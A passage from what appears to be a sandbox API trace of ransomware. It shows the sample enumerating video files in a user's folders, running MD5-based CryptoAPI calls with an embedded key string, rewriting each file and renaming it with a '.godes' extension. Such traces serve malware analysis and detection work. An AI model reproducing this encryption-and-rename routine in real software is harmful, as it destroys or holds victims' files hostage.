(pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\") returned="Videos\\" [0114.373] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0114.373] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0114.373] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba3f0 | out: hHeap=0x660000) returned 1 [0114.373] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0114.373] PathFindFileNameW (pszPath="") returned="" [0114.373] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\x4sMoy\\*", lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1a85350, ftCreationTime.dwHighDateTime=0x1d4ccbf, ftLastAccessTime.dwLowDateTime=0xbb4467b0, ftLastAccessTime.dwHighDateTime=0x1d4d1c2, ftLastWriteTime.dwLowDateTime=0xbb4467b0, ftLastWriteTime.dwHighDateTime=0x1d4d1c2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32a6848 [0114.374] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf400 | out: hHeap=0x660000) returned 1 [0114.374] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1a85350, ftCreationTime.dwHighDateTime=0x1d4ccbf, ftLastAccessTime.dwLowDateTime=0xbb4467b0, ftLastAccessTime.dwHighDateTime=0x1d4d1c2, ftLastWriteTime.dwLowDateTime=0xbb4467b0, ftLastWriteTime.dwHighDateTime=0x1d4d1c2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0114.374] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x64eab690, ftCreationTime.dwHighDateTime=0x1d4c811, ftLastAccessTime.dwLowDateTime=0x1b446c10, ftLastAccessTime.dwHighDateTime=0x1d4c907, ftLastWriteTime.dwLowDateTime=0x1b446c10, ftLastWriteTime.dwHighDateTime=0x1d4c907, nFileSizeHigh=0x0, nFileSizeLow=0xc6a4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="-UgYo9aAU h.avi", cAlternateFileName="-UGYO9~1.AVI")) returned 1 [0114.374] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\x4sMoy\\-UgYo9aAU h.avi") returned=".avi" [0114.374] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\x4sMoy\\-UgYo9aAU h.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\x4smoy\\-ugyo9aau h.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0114.375] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x3b2fb4c | out: lpFileSize=0x3b2fb4c*=50852) returned 1 [0114.375] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2b70000 [0114.377] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0xc67e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.377] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3b2fb7c, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb7c*=0x26, lpOverlapped=0x0) returned 1 [0114.379] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3b2fb78, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb78*=0xc6a4, lpOverlapped=0x0) returned 1 [0114.379] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.379] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.379] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.379] CryptAcquireContextW (in: phProv=0x3b2fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3b2fa94*=0x7412f0) returned 1 [0114.380] CryptCreateHash (in: hProv=0x7412f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3b2fa9c | out: phHash=0x3b2fa9c) returned 1 [0114.380] CryptHashData (hHash=0x32a6888, pbData=0x32b8418, dwDataLen=0x25, dwFlags=0x0) returned 1 [0114.380] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3b2fa98) returned 1 [0114.380] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x32593e0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x32593e0, pdwDataLen=0x3b2fa98) returned 1 [0114.380] GetLastError () returned 0x0 [0114.380] CryptDestroyHash (hHash=0x32a6888) returned 1 [0114.380] CryptReleaseContext (hProv=0x7412f0, dwFlags=0x0) returned 1 [0114.380] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32b8418 | out: hHeap=0x660000) returned 1 [0114.381] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0xc6a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.381] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0114.381] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x3b2fb2c*=0x26, lpOverlapped=0x0) returned 1 [0114.381] CloseHandle (hObject=0x624) returned 1 [0114.382] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\x4sMoy\\-UgYo9aAU h.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\x4smoy\\-ugyo9aau h.avi"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\x4sMoy\\-UgYo9aAU h.avi.godes" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\x4smoy\\-ugyo9aau h.avi.godes")) returned 1 [0114.383] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0114.383] VirtualFree (lpAddress=0x2b70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0114.384] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31e3c08 | out: hHeap=0x660000) returned 1 [0114.384] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9dd50e20, ftCreationTime.dwHighDateTime=0x1d4caa4, ftLastAccessTime.dwLowDateTime=0x77d19850, ftLastAccessTime.dwHighDateTime=0x1d4d4b9, ftLastWriteTime.dwLowDateTime=0x77d19850, ftLastWriteTime.dwHighDateTime=0x1d4d4b9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="9IrqcHW4ThsWoTp", cAlternateFileName="9IRQCH~1")) returned 1 [0114.384] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x913ddc00, ftCreationTime.dwHighDateTime=0x1d4cac7, ftLastAccessTime.dwLowDateTime=0x5428b200, ftLastAccessTime.dwHighDateTime=0x1d4d412, ftLastWriteTime.dwLowDateTime=0x5428b200, ftLastWriteTime.dwHighDateTime=0x1d4d412, nFileSizeHigh=0x0, nFileSizeLow=0x6843, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="e77CID6eVsb.mp4", cAlternateFileName="E77CID~1.MP4")) returned 1 [0114.384] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\x4sMoy\\e77CID6eVsb.mp4") returned=".mp4" [0114.384] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\x4sMoy\\e77CID6eVsb.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\x4smoy\\e77cid6evsb.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0114.384] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x3b2fb4c | out: lpFileSize=0x3b2fb4c*=26691) returned 1 [0114.384] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2b70000 [0114.386] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x681d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.386] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3b2fb7c, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb7c*=0x26, lpOverlapped=0x0) returned 1 [0114.387] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3b2fb78, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb78*=0x6843, lpOverlapped=0x0) returned 1 [0114.388] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.388] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.388] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.388] CryptAcquireContextW (in: phProv=0x3b2fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3b2fa94*=0x7412f0) returned 1 [0114.389] CryptCreateHash (in: hProv=0x7412f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3b2fa9c | out: phHash=0x3b2fa9c) returned 1 [0114.389] CryptHashData (hHash=0x32a6888, pbData=0x32b8418, dwDataLen=0x25, dwFlags=0x0) returned 1 [0114.389] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3b2fa98) returned 1 [0114.389] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x32593e0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x32593e0, pdwDataLen=0x3b2fa98) returned 1 [0114.389] GetLastError () returned 0x0 [0114.389] CryptDestroyHash (hHash=0x32a6888) returned 1 [0114.389] CryptReleaseContext (hProv=0x7412f0, dwFlags=0x0) returned 1 [0114.389] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32b8418 | out: hHeap=0x660000) returned 1 [0114.389] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x6843, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.389] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0114.390] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x3b2fb2c*=0x26, lpOverlapped=0x0) returned 1 [0114.390] CloseHandle (hObject=0x624) returned 1 [0114.391] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\x4sMoy\\e77CID6eVsb.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\x4smoy\\e77cid6evsb.mp4"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\x4sMoy\\e77CID6eVsb.mp4.godes" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\x4smoy\\e77cid6evsb.mp4.godes")) returned 1 [0114.391] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0114.391] VirtualFree (lpAddress=0x2b70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0114.392] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xabba9d60, ftCreationTime.dwHighDateTime=0x1d4cf0f, ftLastAccessTime.dwLowDateTime=0x6218d2e0, ftLastAccessTime.dwHighDateTime=0x1d4ca77, ftLastWriteTime.dwLowDateTime=0x6218d2e0, ftLastWriteTime.dwHighDateTime=0x1d4ca77, nFileSizeHigh=0x0, nFileSizeLow=0xe118, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="vBaKWI7Uy49TuUWs.mp4", cAlternateFileName="VBAKWI~1.MP4")) returned 1 [0114.392] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\x4sMoy\\vBaKWI7Uy49TuUWs.mp4") returned=".mp4" [0114.392] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\x4sMoy\\vBaKWI7Uy49TuUWs.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\x4smoy\\vbakwi7uy49tuuws.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0114.393] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x3b2fb4c | out: lpFileSize=0x3b2fb4c*=57624) returned 1 [0114.393] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2b70000 [0114.394] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0xe0f2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.394] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3b2fb7c, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb7c*=0x26, lpOverlapped=0x0) returned 1 [0114.396] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3b2fb78, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb78*=0xe118, lpOverlapped=0x0) returned 1 [0114.397] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.397] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.397] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.397] CryptAcquireContextW (in: phProv=0x3b2fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3b2fa94*=0x7412f0) returned 1 [0114.398] CryptCreateHash (in: hProv=0x7412f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3b2fa9c | out: phHash=0x3b2fa9c) returned 1 [0114.398] CryptHashData (hHash=0x32a6888, pbData=0x32b8418, dwDataLen=0x25, dwFlags=0x0) returned 1 [0114.398] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3b2fa98) returned 1 [0114.398] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x32593e0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x32593e0, pdwDataLen=0x3b2fa98) returned 1 [0114.398] GetLastError () returned 0x0 [0114.398] CryptDestroyHash (hHash=0x32a6888) returned 1 [0114.398] CryptReleaseContext (hProv=0x7412f0, dwFlags=0x0) returned 1 [0114.398] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0xe118, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.398] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0114.398] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x3b2fb2c*=0x26, lpOverlapped=0x0) returned 1 [0114.399] CloseHandle (hObject=0x624) returned 1 [0114.399] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\x4sMoy\\vBaKWI7Uy49TuUWs.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\x4smoy\\vbakwi7uy49tuuws.mp4"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\x4sMoy\\vBaKWI7Uy49TuUWs.mp4.godes" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\x4smoy\\vbakwi7uy49tuuws.mp4.godes")) returned 1 [0114.401] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xabba9d60, ftCreationTime.dwHighDateTime=0x1d4cf0f, ftLastAccessTime.dwLowDateTime=0x6218d2e0, ftLastAccessTime.dwHighDateTime=0x1d4ca77, ftLastWriteTime.dwLowDateTime=0x6218d2e0, ftLastWriteTime.dwHighDateTime=0x1d4ca77, nFileSizeHigh=0x0, nFileSizeLow=0xe118, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="vBaKWI7Uy49TuUWs.mp4", cAlternateFileName="VBAKWI~1.MP4")) returned 0 [0114.401] FindClose (in: hFindFile=0x32a6848 | out: hFindFile=0x32a6848) returned 1 [0114.401] PeekMessageW (in: lpMsg=0x3b2ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2ff08) returned 0 [0114.401] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x7412f0 [0114.401] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0114.401] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x740fc0 [0114.401] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.401] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y9ZmZISZtA8fIYtTxfZp\\") returned="y9ZmZISZtA8fIYtTxfZp\\" [0114.401] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c568 [0114.401] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326e0d0 [0114.401] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\") returned="Videos\\" [0114.401] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x40) returned 0x3284968 [0114.401] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0114.401] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba3f0 [0114.401] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0114.401] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0114.401] PathFindFileNameW (pszPath="") returned="" [0114.401] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x740fc0 [0114.401] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y9ZmZISZtA8fIYtTxfZp\\*", lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x310cebd0, ftCreationTime.dwHighDateTime=0x1d4c60a, ftLastAccessTime.dwLowDateTime=0xa481d0c0, ftLastAccessTime.dwHighDateTime=0x1d4cf3e, ftLastWriteTime.dwLowDateTime=0xa481d0c0, ftLastWriteTime.dwHighDateTime=0x1d4cf3e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32a6848 [0114.402] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x740fc0 | out: hHeap=0x660000) returned 1 [0114.402] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x310cebd0, ftCreationTime.dwHighDateTime=0x1d4c60a, ftLastAccessTime.dwLowDateTime=0xa481d0c0, ftLastAccessTime.dwHighDateTime=0x1d4cf3e, ftLastWriteTime.dwLowDateTime=0xa481d0c0, ftLastWriteTime.dwHighDateTime=0x1d4cf3e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0114.402] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x26805d80, ftCreationTime.dwHighDateTime=0x1d4d2b4, ftLastAccessTime.dwLowDateTime=0x8e8da320, ftLastAccessTime.dwHighDateTime=0x1d4cb56, ftLastWriteTime.dwLowDateTime=0x8e8da320, ftLastWriteTime.dwHighDateTime=0x1d4cb56, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="4L6Z", cAlternateFileName="")) returned 1 [0114.402] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x740fc0 [0114.402] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x741400 [0114.402] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x740da0 [0114.402] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x741400 | out: hHeap=0x660000) returned 1 [0114.402] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x740fc0 | out: hHeap=0x660000) returned 1 [0114.402] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5ab56d0, ftCreationTime.dwHighDateTime=0x1d4d572, ftLastAccessTime.dwLowDateTime=0x2485b9d0, ftLastAccessTime.dwHighDateTime=0x1d4d584, ftLastWriteTime.dwLowDateTime=0x2485b9d0, ftLastWriteTime.dwHighDateTime=0x1d4d584, nFileSizeHigh=0x0, nFileSizeLow=0x143fa, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="7zbK-lw.mkv", cAlternateFileName="")) returned 1 [0114.402] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x740fc0 [0114.402] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xbe) returned 0x32518f0 [0114.403] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x740fc0 | out: hHeap=0x660000) returned 1 [0114.403] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y9ZmZISZtA8fIYtTxfZp\\7zbK-lw.mkv") returned=".mkv" [0114.403] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y9ZmZISZtA8fIYtTxfZp\\7zbK-lw.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\y9zmziszta8fiyttxfzp\\7zbk-lw.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0114.403] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x3b2fb4c | out: lpFileSize=0x3b2fb4c*=82938) returned 1 [0114.403] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2b70000 [0114.405] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x143d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.405] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3b2fb7c, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb7c*=0x26, lpOverlapped=0x0) returned 1 [0114.407] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c450 [0114.407] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0114.407] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0114.407] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3b2fb78, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb78*=0x143fa, lpOverlapped=0x0) returned 1 [0114.408] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.408] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x25) returned 0x32b8418 [0114.408] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.408] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.408] CryptAcquireContextW (in: phProv=0x3b2fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3b2fa94*=0x740fc0) returned 1 [0114.409] CryptCreateHash (in: hProv=0x740fc0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3b2fa9c | out: phHash=0x3b2fa9c) returned 1 [0114.409] CryptHashData (hHash=0x32a6888, pbData=0x32b8418, dwDataLen=0x25, dwFlags=0x0) returned 1 [0114.409] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3b2fa98) returned 1 [0114.409] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x11) returned 0x32593e0 [0114.409] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x32593e0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x32593e0, pdwDataLen=0x3b2fa98) returned 1 [0114.409] GetLastError () returned 0x0 [0114.409] CryptDestroyHash (hHash=0x32a6888) returned 1 [0114.409] CryptReleaseContext (hProv=0x740fc0, dwFlags=0x0) returned 1 [0114.409] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32b8418 | out: hHeap=0x660000) returned 1 [0114.409] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x14400) returned 0x3321120 [0114.409] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0114.409] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0114.409] WriteFile (in: hFile=0x624, lpBuffer=0x3321120*, nNumberOfBytesToWrite=0x143f5, lpNumberOfBytesWritten=0x3b2fb24, lpOverlapped=0x0 | out: lpBuffer=0x3321120*, lpNumberOfBytesWritten=0x3b2fb24*=0x143f5, lpOverlapped=0x0) returned 1 [0114.410] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0114.410] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x143fa, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.410] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf398 [0114.410] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x428) 